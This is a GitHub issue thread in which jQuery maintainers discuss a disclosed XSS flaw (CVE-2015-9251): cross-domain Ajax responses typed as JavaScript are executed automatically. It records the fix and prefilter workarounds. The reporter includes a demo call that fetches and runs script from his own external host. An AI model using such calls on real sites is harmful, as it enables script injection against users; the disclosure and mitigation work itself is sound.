New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Inadequate/dangerous jQuery behavior for 3rd party text/javascript responses #2432

Closed
homakov opened this Issue Jun 26, 2015 · 39 comments

Comments

Projects
None yet
@homakov

homakov commented Jun 26, 2015

Because of this

jQuery.globalEval( text );
every text/javascript response gets executed. Even if we made a request to another service. CORS was created exactly to prevent this kind of behavior in JSONP (arbitrary code execution).

So when we do $.get('http://weather.com/sf-weather') or like in Rails' jquery_ujs a form is being sent automatically, the attacker can respond us with text/javascript and execute arbitrary code on our origin. Demo $.get('http://sakurity.com/jqueryxss')

The fix is to not execute responses from 3rd party origins by default and make it an option. Don't know who to cc to discuss it.

P.S. I would switch it off for same origin either, because using subtle redirect_to saving tricks we can redirect user to local JSONP endpoint and still get an XSS but those are much more sophisticated vectors.

@homakov homakov changed the title from Inadequate jQuery behavior for 3rd party requests with JS responses to Inadequate/dangerous jQuery behavior for 3rd party text/javascript responses Jun 26, 2015

@dmethvin

This comment has been minimized.

Show comment
Hide comment
@dmethvin

dmethvin Jun 27, 2015

Member

There would be some pretty significant backcompat implications here. $.get is just a thin wrapper around $.ajax. If the "intelligent guess" logic is a problem the caller can use $.ajax with an explicit "text" data type and do the conversion manually/explicitly.

Member

dmethvin commented Jun 27, 2015

There would be some pretty significant backcompat implications here. $.get is just a thin wrapper around $.ajax. If the "intelligent guess" logic is a problem the caller can use $.ajax with an explicit "text" data type and do the conversion manually/explicitly.

@homakov

This comment has been minimized.

Show comment
Hide comment
@homakov

homakov Jun 27, 2015

@dmethvin I generally agree that it's developer's responsibility to use $.ajax properly with all options to control the response processing. However if we google "jquery cors request" good half of the results doesn't use dataType setting.

Anyway if it seems hard to monkey patch it for cross domain requests, I'm fine with it.

homakov commented Jun 27, 2015

@dmethvin I generally agree that it's developer's responsibility to use $.ajax properly with all options to control the response processing. However if we google "jquery cors request" good half of the results doesn't use dataType setting.

Anyway if it seems hard to monkey patch it for cross domain requests, I'm fine with it.

@dmethvin

This comment has been minimized.

Show comment
Hide comment
@dmethvin

dmethvin Jun 27, 2015

Member

I should have made it clear that I really dislike the "intelligent guess" logic too, for this very reason. If it was taken out and the caller had to declare their data type (or explicitly tell us to guess?) the hole would close. But I suspect it would break a ton of the world's sites. What do others think?

Member

dmethvin commented Jun 27, 2015

I should have made it clear that I really dislike the "intelligent guess" logic too, for this very reason. If it was taken out and the caller had to declare their data type (or explicitly tell us to guess?) the hole would close. But I suspect it would break a ton of the world's sites. What do others think?

@homakov

This comment has been minimized.

Show comment
Hide comment
@homakov

homakov Jun 27, 2015

But I suspect it would break a ton of the world's sites

I don't see how it can break something because the fix is only for cross domain requests not using dataType: 'script' and expecting javascript (not jsonp). Why would a website load JS from other domains via $.ajax? This is really weird and I feel it's safe to patch.

homakov commented Jun 27, 2015

But I suspect it would break a ton of the world's sites

I don't see how it can break something because the fix is only for cross domain requests not using dataType: 'script' and expecting javascript (not jsonp). Why would a website load JS from other domains via $.ajax? This is really weird and I feel it's safe to patch.

@timmywil

This comment has been minimized.

Show comment
Hide comment
@timmywil

timmywil Jun 29, 2015

Member

@homakov Thanks for opening an issue. Would you be comfortable opening a PR with the proposed changes? I think we could evaluate this change more thoroughly if we could see some code.

Member

timmywil commented Jun 29, 2015

@homakov Thanks for opening an issue. Would you be comfortable opening a PR with the proposed changes? I think we could evaluate this change more thoroughly if we could see some code.

@homakov

This comment has been minimized.

Show comment
Hide comment
@homakov

homakov Jun 30, 2015

@timmywil i'm only doing security but i will see if i can write this thing

homakov commented Jun 30, 2015

@timmywil i'm only doing security but i will see if i can write this thing

@dmethvin

This comment has been minimized.

Show comment
Hide comment
@dmethvin

dmethvin Sep 9, 2015

Member

I should also clarify that in this case the "attacker" is a web site that you're asking for data via $.ajax() that happens to be a script. So it's similar to when you include third party code via <script> tags. If you have a proposed fix we would like to see it.

Member

dmethvin commented Sep 9, 2015

I should also clarify that in this case the "attacker" is a web site that you're asking for data via $.ajax() that happens to be a script. So it's similar to when you include third party code via <script> tags. If you have a proposed fix we would like to see it.

@homakov

This comment has been minimized.

Show comment
Hide comment
@homakov

homakov Sep 10, 2015

Via .post and .get too. Always, if you don't specify dataType.

homakov commented Sep 10, 2015

Via .post and .get too. Always, if you don't specify dataType.

@markelog markelog added the Ajax label Sep 10, 2015

markelog added a commit to markelog/jquery that referenced this issue Sep 10, 2015

markelog added a commit to markelog/jquery that referenced this issue Sep 10, 2015

@markelog

This comment has been minimized.

Show comment
Hide comment
@markelog

markelog Sep 10, 2015

Member

Not sure if should do it though - #2588

/cc @jaubourg

Member

markelog commented Sep 10, 2015

Not sure if should do it though - #2588

/cc @jaubourg

markelog added a commit to markelog/jquery that referenced this issue Sep 10, 2015

@jaubourg

This comment has been minimized.

Show comment
Hide comment
@jaubourg

jaubourg Sep 14, 2015

Member

Everything about automated script detection is configurable so it's pretty easy to disable it (untested examples that should work):

// Good: disable javascript detection globally
$.ajaxSetup( {
    contents: {
        javascript: false
    }
} );

// Acceptable: disable text to javascript promotion (but will break intended manual conversions)
$.ajaxSetup( {
    converters: {
        "test => javascript": false
    }
} );

// Preferred: use a prefilter to be more specific (only crossDomain)
$.ajaxPrefilter( function( s ) {
    if ( s.crossDomain ) {
        s.contents.javascript = false;
    }
} );

Not a fan of changing the behaviour within the lib but I can understand the rationale (though I'd recommand just removing the javascript dataType detection in the default options then).

Member

jaubourg commented Sep 14, 2015

Everything about automated script detection is configurable so it's pretty easy to disable it (untested examples that should work):

// Good: disable javascript detection globally
$.ajaxSetup( {
    contents: {
        javascript: false
    }
} );

// Acceptable: disable text to javascript promotion (but will break intended manual conversions)
$.ajaxSetup( {
    converters: {
        "test => javascript": false
    }
} );

// Preferred: use a prefilter to be more specific (only crossDomain)
$.ajaxPrefilter( function( s ) {
    if ( s.crossDomain ) {
        s.contents.javascript = false;
    }
} );

Not a fan of changing the behaviour within the lib but I can understand the rationale (though I'd recommand just removing the javascript dataType detection in the default options then).

@markelog

This comment has been minimized.

Show comment
Hide comment
@markelog

markelog Sep 14, 2015

Member

Not a fan of changing the behaviour within the lib but I can understand the rationale (though I'd recommand just removing the javascript dataType detection in the default options then).

That would disable detection for all requests, whereas same origin request are still considered safe?

Member

markelog commented Sep 14, 2015

Not a fan of changing the behaviour within the lib but I can understand the rationale (though I'd recommand just removing the javascript dataType detection in the default options then).

That would disable detection for all requests, whereas same origin request are still considered safe?

@jaubourg

This comment has been minimized.

Show comment
Hide comment
@jaubourg

jaubourg Sep 14, 2015

Member

Not a fan of changing the behaviour within the lib but I can understand the rationale (though I'd recommand just removing the javascript dataType detection in the default options then).

That would disable detection for all requests, whereas same origin request are still considered safe?

Exactly, the other option is to use the prefilter which makes the behaviour pretty difficult to document imo. Hence why I'd rather go with pushing the solution in userland.

Member

jaubourg commented Sep 14, 2015

Not a fan of changing the behaviour within the lib but I can understand the rationale (though I'd recommand just removing the javascript dataType detection in the default options then).

That would disable detection for all requests, whereas same origin request are still considered safe?

Exactly, the other option is to use the prefilter which makes the behaviour pretty difficult to document imo. Hence why I'd rather go with pushing the solution in userland.

@homakov

This comment has been minimized.

Show comment
Hide comment
@homakov

homakov Sep 14, 2015

@jaubourg teaching users is very hard, remember $(location.hash) bug, it took years of vulnerable apps for jQuery to fix this. The one I posted is not used in the wild yet, but imagine how many apps use code like that.

homakov commented Sep 14, 2015

@jaubourg teaching users is very hard, remember $(location.hash) bug, it took years of vulnerable apps for jQuery to fix this. The one I posted is not used in the wild yet, but imagine how many apps use code like that.

@timmywil

This comment has been minimized.

Show comment
Hide comment
@timmywil

timmywil Sep 14, 2015

Member

The change to not execute cross domain scripts by default is much less obtrusive than turning off all script execution by default. I think @markelog's solution is worth trying in the next release.

Member

timmywil commented Sep 14, 2015

The change to not execute cross domain scripts by default is much less obtrusive than turning off all script execution by default. I think @markelog's solution is worth trying in the next release.

@jaubourg

This comment has been minimized.

Show comment
Hide comment
@jaubourg

jaubourg Sep 14, 2015

Member

@homakov, there are lots of other ways to execute malicious scripts with the DOM API alone. This is not a case of user input being unchecked and used as is, it's a case of code reaching knowingly to a hard-coded URL. There's a big difference. People all around the globe are already using scripts from other domains (CDNs) which poses the exact same issue.

@timmywil, since we can handle this with configuration (ie a prefilter), I don't see the appeal of hacking deep into the conversion logic.

Member

jaubourg commented Sep 14, 2015

@homakov, there are lots of other ways to execute malicious scripts with the DOM API alone. This is not a case of user input being unchecked and used as is, it's a case of code reaching knowingly to a hard-coded URL. There's a big difference. People all around the globe are already using scripts from other domains (CDNs) which poses the exact same issue.

@timmywil, since we can handle this with configuration (ie a prefilter), I don't see the appeal of hacking deep into the conversion logic.

@timmywil

This comment has been minimized.

Show comment
Hide comment
@timmywil

timmywil Sep 14, 2015

Member

@jaubourg I agree this can be handled easily with a prefilter, but the advantage of changing the default behavior is that users err on the side of security, rather than unintentionally executing cross domain scripts.

Member

timmywil commented Sep 14, 2015

@jaubourg I agree this can be handled easily with a prefilter, but the advantage of changing the default behavior is that users err on the side of security, rather than unintentionally executing cross domain scripts.

@homakov

This comment has been minimized.

Show comment
Hide comment
@homakov

homakov Sep 14, 2015

Many people use CDNs but here they definitely don't expect current behavior. I would rank it as Low severity, but the fix is simple so i think it's worth it

homakov commented Sep 14, 2015

Many people use CDNs but here they definitely don't expect current behavior. I would rank it as Low severity, but the fix is simple so i think it's worth it

@markelog markelog closed this in b078a62 Oct 12, 2015

markelog added a commit that referenced this issue Oct 12, 2015

@markelog

This comment has been minimized.

Show comment
Hide comment
@markelog

markelog Oct 12, 2015

Member

@homakov i believe we mitigate this, would you mind testing it out?

Member

markelog commented Oct 12, 2015

@homakov i believe we mitigate this, would you mind testing it out?

@timmywil timmywil removed the Needs review label Oct 12, 2015

@homakov

This comment has been minimized.

Show comment
Hide comment
@homakov

homakov Oct 15, 2015

$.get('http://sakurity.com/jqueryxss') doesn't work on edge so @markelog fixed

homakov commented Oct 15, 2015

$.get('http://sakurity.com/jqueryxss') doesn't work on edge so @markelog fixed

@reedloden

This comment has been minimized.

Show comment
Hide comment
@reedloden

reedloden Mar 21, 2016

Contributor

This fix was backed out of 2.2.x branch (ad358fd), which is really confusing. The fix is still in 1.12.x, though. So, jQuery 1.12.x is safer than 2.2.x. That's disturbing. Can we get this security fix back on 2.2.x?

Contributor

reedloden commented Mar 21, 2016

This fix was backed out of 2.2.x branch (ad358fd), which is really confusing. The fix is still in 1.12.x, though. So, jQuery 1.12.x is safer than 2.2.x. That's disturbing. Can we get this security fix back on 2.2.x?

@markelog

This comment has been minimized.

Show comment
Hide comment
@markelog

markelog Mar 21, 2016

Member

@reedloden hey, thanks for pointing that out, would you mind creating a ticket about this? No need to write about it in three places at once.

Member

markelog commented Mar 21, 2016

@reedloden hey, thanks for pointing that out, would you mind creating a ticket about this? No need to write about it in three places at once.

@mgol

This comment has been minimized.

Show comment
Hide comment
@mgol

mgol Mar 21, 2016

Member

@reedloden We had to revert that because it was a breaking change so it shouldn't have been done in 1.12/2.2. We'll revert it in 1.12.3 as well (see #3011).

This fix will arrive in 3.0.0.

Member

mgol commented Mar 21, 2016

@reedloden We had to revert that because it was a breaking change so it shouldn't have been done in 1.12/2.2. We'll revert it in 1.12.3 as well (see #3011).

This fix will arrive in 3.0.0.

@mgol mgol added this to the 3.0.0 milestone Mar 21, 2016

@mgol

This comment has been minimized.

Show comment
Hide comment
@mgol

mgol Mar 21, 2016

Member

@markelog I added the milestone as this ticket didn't have one.

Member

mgol commented Mar 21, 2016

@markelog I added the milestone as this ticket didn't have one.

reedloden referenced this issue in RetireJS/retire.js Mar 23, 2016

@anarcat

This comment has been minimized.

Show comment
Hide comment
@anarcat

anarcat Jan 18, 2018

CVE-2015-9251 was assigned to track this issue.

anarcat commented Jan 18, 2018

CVE-2015-9251 was assigned to track this issue.

davideschiera added a commit to draios/jquery that referenced this issue Mar 7, 2018

Ajax: Mitigate possible XSS vulnerability
Proposed by @jaubourg

Fixes gh-2432
Closes gh-2588

(cherry picked from commit b078a62)

# Conflicts:
#	test/unit/ajax.js

davideschiera added a commit to draios/jquery that referenced this issue Mar 8, 2018

Ajax: Mitigate possible XSS vulnerability
Proposed by @jaubourg

Fixes gh-2432
Closes gh-2588

(cherry picked from commit b078a62)

# Conflicts:
#	test/unit/ajax.js
(cherry picked from commit 3493060)

@mac89 mac89 referenced this issue Apr 12, 2018

Merged

Gh 2432 fix #1

4 of 4 tasks complete

mac89 added a commit to dualinventive/jquery that referenced this issue Apr 12, 2018

mac89 added a commit to dualinventive/jquery that referenced this issue Apr 12, 2018

@gb-pthompson

This comment has been minimized.

Show comment
Hide comment
@gb-pthompson

gb-pthompson Jul 5, 2018

Is this patched/fixed for 2.2.4 as of now?

Is this patched/fixed for 2.2.4 as of now?

@jquery jquery locked as resolved and limited conversation to collaborators Jul 10, 2018

@mgol

This comment has been minimized.

Show comment
Hide comment
@mgol

mgol Jul 10, 2018

Member

The issue was patched in jQuery 3.0.0 and erroneously backported to 1.12/2.2. The change has been reverted in 1.12.3/2.2.3 as it was a breaking chang; it will not be brought back there.

To have the fix you need to either update to jQuery 3 or apply the patch manually in your application code just after loading jQuery:

// Prevent auto-execution of scripts when no explicit dataType was provided (See gh-2432)
jQuery.ajaxPrefilter( function( s ) {
    if ( s.crossDomain ) {
        s.contents.script = false;
    }
} );

This issue is going in circles now, people are re-asking the same questions over & over again. I'm locking this issue, please direct further questions to jQuery Forums or Stack Overflow.

Member

mgol commented Jul 10, 2018

The issue was patched in jQuery 3.0.0 and erroneously backported to 1.12/2.2. The change has been reverted in 1.12.3/2.2.3 as it was a breaking chang; it will not be brought back there.

To have the fix you need to either update to jQuery 3 or apply the patch manually in your application code just after loading jQuery:

// Prevent auto-execution of scripts when no explicit dataType was provided (See gh-2432)
jQuery.ajaxPrefilter( function( s ) {
    if ( s.crossDomain ) {
        s.contents.script = false;
    }
} );

This issue is going in circles now, people are re-asking the same questions over & over again. I'm locking this issue, please direct further questions to jQuery Forums or Stack Overflow.

Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.